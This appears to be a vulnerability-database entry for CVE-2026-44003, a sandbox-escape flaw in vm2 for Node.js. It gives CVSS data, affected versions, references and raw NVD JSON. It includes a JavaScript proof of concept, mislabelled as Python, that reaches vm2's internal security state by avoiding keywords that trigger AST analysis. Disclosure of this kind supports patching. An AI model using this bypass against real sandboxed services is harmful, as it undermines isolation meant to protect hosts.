CVE-2026-44003

Description

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import). This vulnerability is fixed in 3.11.0.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:* - VULNERABLE

vm2 < 3.11.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-44003: vm2 Sandbox Escape via Fast-Path Bypass
const {VM} = require('vm2');
const vm = new VM();

// Exploit code avoids 'catch', 'import', 'async' to bypass AST analysis
const maliciousCode = `
    // Direct access to the internal state object
    const internalState = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;

    // Verify access to internal security functions
    const hasHandleException = typeof internalState.handleException === 'function';
    const hasWrapWith = typeof internalState.wrapWith === 'function';
    const hasImport = typeof internalState.import === 'function';

    JSON.stringify({
        escaped: true,
        internal_functions: {
            handleException: hasHandleException,
            wrapWith: hasWrapWith,
            import: hasImport
        }
    });
`;

console.log(vm.run(maliciousCode));

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44003
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44003
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44003/
[4] VulDB https://vuldb.com/cve/CVE-2026-44003
[5] https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7
[6] https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44003", "sourceIdentifier": "[email protected]", "published": "2026-05-13T18:16:16.997", "lastModified": "2026-05-14T15:22:34.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import). This vulnerability is fixed in 3.11.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.11.0", "matchCriteriaId": "6DD48308-6219-4C66-9BE7-246EE56FB834"}]}]}], "references": [{"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}